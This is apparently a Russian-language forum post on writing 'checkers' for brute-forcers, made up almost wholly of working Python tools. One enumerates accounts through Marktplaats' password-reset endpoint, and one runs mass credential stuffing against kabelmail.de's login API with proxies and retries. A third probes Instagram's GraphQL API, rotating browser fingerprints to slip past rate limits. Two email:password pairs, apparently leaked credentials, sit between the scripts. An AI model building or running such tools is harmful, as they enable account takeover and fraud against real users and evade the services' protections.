Как мисконфигурации и забытые эндпоинты превращаются в кнопку “бабло” для брутера. Написание чекеров и регчекеров

import httpx
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init

init()

url = "https://app.marktplaats.nl/app/identity/v3/password-reset/initiate?screenWidth=65&screenHeight=141&magic_number=&gaClientId="

headers = {
    "Host": "app.marktplaats.nl",
    "Cookie": "luckynumber=",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Ecg-Locale": "nl-NL",
    "Ecg-Ui-Lang": "en",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "ru",
    "Ecg-Tenant": "MP",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0"
}

proxy = "socks5://ваши прокси"

parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", required=True)
parser.add_argument("--workers", type=int, default=200)
args = parser.parse_args()

good_file = open("good.txt", "a", encoding="utf-8")
bad_file = open("bad.txt", "a", encoding="utf-8")
unknown_file = open("unknown.txt", "a", encoding="utf-8")

def check(email):
    try:
        payload = {"email": email}

        with httpx.Client(
            proxy=proxy,
            timeout=20,
            http2=True,
            verify=False
        ) as client:
            r = client.post(url, headers=headers, json=payload)

        text = r.text.strip()

        if r.status_code == 200 and text == "{}":
            print(Fore.GREEN + f"[GOOD] {email}" + Style.RESET_ALL)
            good_file.write(email + "\n")
            good_file.flush()
            return

        if r.status_code == 400 and "BAD_REQUEST" in text:
            print(Fore.RED + f"[BAD] {email}" + Style.RESET_ALL)
            bad_file.write(email + "\n")
            bad_file.flush()
            return

        print(Fore.YELLOW + f"[UNKNOWN] {email} | {r.status_code} | {text[:200]}" + Style.RESET_ALL)
        unknown_file.write(f"{email} | {r.status_code} | {text}\n")
        unknown_file.flush()

    except Exception as e:
        print(Fore.MAGENTA + f"[ERROR] {email} | {str(e)}" + Style.RESET_ALL)
        unknown_file.write(f"{email} | ERROR | {str(e)}\n")
        unknown_file.flush()


with open(args.file, "r", encoding="utf-8", errors="ignore") as f:
    emails = [line.strip() for line in f if line.strip()]


with ThreadPoolExecutor(max_workers=args.workers) as executor:
    futures = [executor.submit(check, email) for email in emails]
    for _ in as_completed(futures):
        pass


good_file.close()
bad_file.close()
unknown_file.close()

import asyncio
import argparse
import time
from collections import Counter
import httpx
from tqdm import tqdm


URL = "https://sso.kabelmail.de/services/CustomerService.asmx/loginCustomer"

PROXY = "socks5://прокси"

HEADERS = {
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Accept-Language": "de-DE,de;q=0.9,en;q=0.8",
    "Sec-Ch-Ua": '"Not-A.Brand";v="24", "Chromium";v="146"',
    "Sec-Ch-Ua-Mobile": "?0",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Accept": "*/*",
    "Content-Type": "application/json; charset=UTF-8",
    "Origin": "https://sso.kabelmail.de",
    "Referer": "https://sso.kabelmail.de/",
}


# ---------------- PROCESS ITEM ---------------- #

async def process_item(client, email, password):

    payload = {
        "request": {
            "username": email,
            "password": password,
            "target": "",
            "force": ""
        }
    }

    retries = 0

    while retries < 100:
        try:
            r = await client.post(
                URL,
                headers=HEADERS,
                json=payload,
            )

            # RETRY
            if r.status_code in (403, 429):
                retries += 1
                continue

            # HTML BLOCK
            if "text/html" in r.headers.get("Content-Type", ""):
                return "error", f"HTML_BLOCK {r.status_code}"

            # JSON
            try:
                data = r.json()
            except:
                return "error", f"JSON_ERROR {r.status_code} {r.text[:200]}"

            state = None
            code = None

            if isinstance(data, dict) and "d" in data:
                d = data["d"]
                state = d.get("state")
                code = d.get("code")

            # LOGIC
            if state == 0:
                return "good", None

            elif state == 1:
                if code == "E_INVALID_CREDENTIALS":
                    return "bad", None

                elif code == "E_BLOCKED":
                    return "blocked", None

                else:
                    return "unknown", code

            else:
                return "error", f"UNKNOWN_STATE {state} {str(data)[:200]}"

        except Exception as e:
            retries += 1

    return "error", "MAX_RETRIES"


# ---------------- WORKER ---------------- #

async def worker(work_q, good_q, bad_q, unknown_q, blocked_q, error_q,
                 client, args, counters):

    while True:

        item = await work_q.get()

        if item is None:
            work_q.task_done()
            return

        email, password = item

        for attempt in range(args.max_retries):

            try:

                result, extra = await process_item(client, email, password)

                if result == "good":
                    await good_q.put(f"{email}:{password}\n")
                    counters["good"] += 1

                elif result == "bad":
                    await bad_q.put(f"{email}:{password}\n")
                    counters["bad"] += 1

                elif result == "blocked":
                    await blocked_q.put(f"{email}:{password}\n")
                    counters["blocked"] += 1

                elif result == "unknown":
                    await unknown_q.put(f"{email}:{password} | {extra}\n")
                    counters["unknown"] += 1

                else:
                    if attempt == args.max_retries - 1:
                        await error_q.put(f"{email}:{password} | {extra}\n")
                        counters["errors"] += 1
                        counters["done"] += 1
                        break
                    continue

                counters["done"] += 1
                break

            except Exception as e:
                if attempt == args.max_retries - 1:
                    await error_q.put(f"{email}:{password} | {str(e)}\n")
                    counters["errors"] += 1
                    counters["done"] += 1

        work_q.task_done()


# ---------------- PRODUCER ---------------- #

async def producer(file, work_q, workers):
    with open(file, "r", encoding="utf8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue
            email, password = line.split(":", 1)
            await work_q.put((email, password))

    for _ in range(workers):
        await work_q.put(None)


# ---------------- WRITER ---------------- #

async def writer(queue, filename, batch_size, flush_every):
    buf = []
    last_flush = time.time()
    f = open(filename, "a", buffering=1024 * 1024, encoding="utf-8")

    while True:
        item = await queue.get()

        if item is None:
            if buf:
                f.write("".join(buf))
                f.flush()
            queue.task_done()
            break

        buf.append(item)

        now = time.time()
        if len(buf) >= batch_size or (now - last_flush) >= flush_every:
            f.write("".join(buf))
            buf.clear()
            f.flush()
            last_flush = now

        queue.task_done()

    f.close()


# ---------------- METRICS ---------------- #

async def metrics(counters, work_q):

    last_done = 0
    last_time = time.time()

    bar = tqdm(unit="items")

    while True:

        await asyncio.sleep(1)

        done = counters["done"]

        delta = done - last_done
        delta_t = time.time() - last_time

        rate = int(delta / delta_t) if delta_t else 0

        bar.n = done
        bar.set_postfix({
            "GOOD": counters["good"],
            "BAD": counters["bad"],
            "BLOCK": counters["blocked"],
            "UNK": counters["unknown"],
            "ERR": counters["errors"],
            "RATE": rate,
            "WQ": work_q.qsize()
        })

        bar.refresh()

        last_done = done
        last_time = time.time()


# ---------------- MAIN ---------------- #

async def main():

    parser = argparse.ArgumentParser()

    parser.add_argument("--input", required=True)
    parser.add_argument("--workers", type=int, default=200)
    parser.add_argument("--max-retries", type=int, default=3)

    args = parser.parse_args()

    work_q = asyncio.Queue(5000)
    good_q = asyncio.Queue(20000)
    bad_q = asyncio.Queue(20000)
    unknown_q = asyncio.Queue(20000)
    blocked_q = asyncio.Queue(20000)
    error_q = asyncio.Queue(10000)

    counters = Counter()

    limits = httpx.Limits(
        max_connections=args.workers,
        max_keepalive_connections=args.workers
    )

    timeout = httpx.Timeout(15)

    async with httpx.AsyncClient(
        limits=limits,
        timeout=timeout,
        proxy=PROXY,
        verify=False
    ) as client:

        workers = [
            asyncio.create_task(
                worker(work_q, good_q, bad_q, unknown_q, blocked_q, error_q,
                       client, args, counters)
            )
            for _ in range(args.workers)
        ]

        producer_task = asyncio.create_task(producer(args.input, work_q, args.workers))

        writer_good = asyncio.create_task(writer(good_q, "good.txt", 5000, 3))
        writer_bad = asyncio.create_task(writer(bad_q, "bad.txt", 5000, 3))
        writer_unknown = asyncio.create_task(writer(unknown_q, "unknown.txt", 5000, 3))
        writer_blocked = asyncio.create_task(writer(blocked_q, "blocked.txt", 5000, 3))
        writer_error = asyncio.create_task(writer(error_q, "errors.txt", 5000, 3))

        metrics_task = asyncio.create_task(metrics(counters, work_q))

        await producer_task
        await work_q.join()

        for w in workers:
            await w

        for q in [good_q, bad_q, unknown_q, blocked_q, error_q]:
            await q.join()
            await q.put(None)

        await writer_good
        await writer_bad
        await writer_unknown
        await writer_blocked
        await writer_error

        metrics_task.cancel()

        print("\nDONE:", counters)


if __name__ == "__main__":
    asyncio.run(main())

[email protected]:Siniloveu1
[email protected]:Sportex1958?

from curl_cffi import requests as curl_requests
import json
import argparse
from pathlib import Path
import threading
import concurrent.futures
import time
import random
from colorama import init, Fore, Style
init(autoreset=True)

FINGERPRINTS = [
    "chrome", "chrome100", "chrome101", "chrome104", "chrome107",
    "chrome110", "chrome116", "chrome123", "chrome131", "chrome133a", "chrome136",
    "chrome99_android",
    "safari15_3", "safari15_5", "safari17_0", "safari18_0", "safari18_4",
    "safari153", "safari155", "safari170", "safari180", "safari184", "safari260",
    "safari17_2_ios", "safari18_0_ios", "safari18_4_ios",
    "safari172_ios", "safari180_ios", "safari184_ios", "safari260_ios",
    "firefox133", "firefox135",
]

def find_persist_data(obj):
    if isinstance(obj, dict):
        if "persist_data" in obj:
            return obj["persist_data"]
        for value in obj.values():
            result = find_persist_data(value)
            if result is not None:
                return result
    elif isinstance(obj, list):
        for item in obj:
            result = find_persist_data(item)
            if result is not None:
                return result
    return None

def process_email(email, headers, base_data, proxies, good_file, bad_file, limit_file,
                  good_lock, bad_lock, limit_lock):
    for attempt in range(15):
        try:
            variables = {
                "params": {
                    "event_request_id": "event_request_id с запроса",
                    "next_uri": "",
                    "search_query": email,
                    "waterfall_id": "waterfall_id с запроса"
                }
            }
            data = base_data.copy()
            data["variables"] = json.dumps(variables)
            impersonate = random.choice(FINGERPRINTS)
            resp = curl_requests.post(
                "https://www.instagram.com/api/graphql",
                headers=headers,
                data=data,
                proxies=proxies,
                impersonate=impersonate,
                timeout=30,
                verify=False
            )
            if "Rate limit exceeded" in resp.text:
                if attempt < 14:
                    continue
                else:
                    with limit_lock:
                        limit_file.write(email + "\n")
                        limit_file.flush()
                    print(Fore.YELLOW + f"{email} - Rate limit exceeded after 15 retries → limit.txt")
                    return
            if resp.status_code != 200:
                if attempt < 14:
                    continue
                else:
                    print(Fore.RED + f"{email} - Error after 5 retries (status {resp.status_code})")
                    return
            
            j = resp.json()
            persist = find_persist_data(j)
            
            if persist is None:
                with bad_lock:
                    bad_file.write(email + "\n")
                    bad_file.flush()
                print(Fore.RED + f"{email} - Not exists → bad.txt")
            else:
                with good_lock:
                    good_file.write(email + "\n")
                    good_file.flush()
                print(Fore.GREEN + f"{email} - exists → good.txt")
            return
        except Exception as e:
            if attempt < 4:
                continue
            else:
                print(Fore.RED + f"{email} - Failed after 5 retries: {str(e)}")
                return

def main():
    parser = argparse.ArgumentParser(description="Многопоточная проверка email + ротация impersonate + ретраи на лимит")
    parser.add_argument("-f", "--file", required=True, help="Файл со списком email")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Количество потоков")
    args = parser.parse_args()
    
    file_path = Path(args.file)
    if not file_path.exists():
        print("Файл не найден!")
        return
    emails = [line.strip() for line in file_path.read_text(encoding="utf-8").splitlines() if line.strip()]
    if not emails:
        print("Файл пустой!")
        return
    
    print(f"Найдено {len(emails)} email. Запуск в {args.threads} потоках...\n")
    
    good_file = open("good.txt", "a", encoding="utf-8")
    bad_file = open("bad.txt", "a", encoding="utf-8")
    limit_file = open("limit.txt", "a", encoding="utf-8")
    
    good_lock = threading.Lock()
    bad_lock = threading.Lock()
    limit_lock = threading.Lock()
    
    proxy = "socks5://вашм прокси"
    proxies = {"http": proxy, "https": proxy}
    
    headers = {
        "Host": "www.instagram.com",
        "X-Fb-Lsd": "ваш lsd",
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
        "Sec-Fetch-Site": "same-origin",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": "https://www.instagram.com",
        "Referer": "https://www.instagram.com/",
    }
    base_data = {
        "lsd": "ваш lsd",
        "doc_id": "ваш doc_id"
    }
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = [
            executor.submit(
                process_email, email, headers, base_data, proxies,
                good_file, bad_file, limit_file,
                good_lock, bad_lock, limit_lock
            )
            for email in emails
        ]
        concurrent.futures.wait(futures)
    
    good_file.close()
    bad_file.close()
    limit_file.close()
    
    print("\nГотово! Результаты в good.txt, bad.txt и limit.txt")

if __name__ == "__main__":
    main()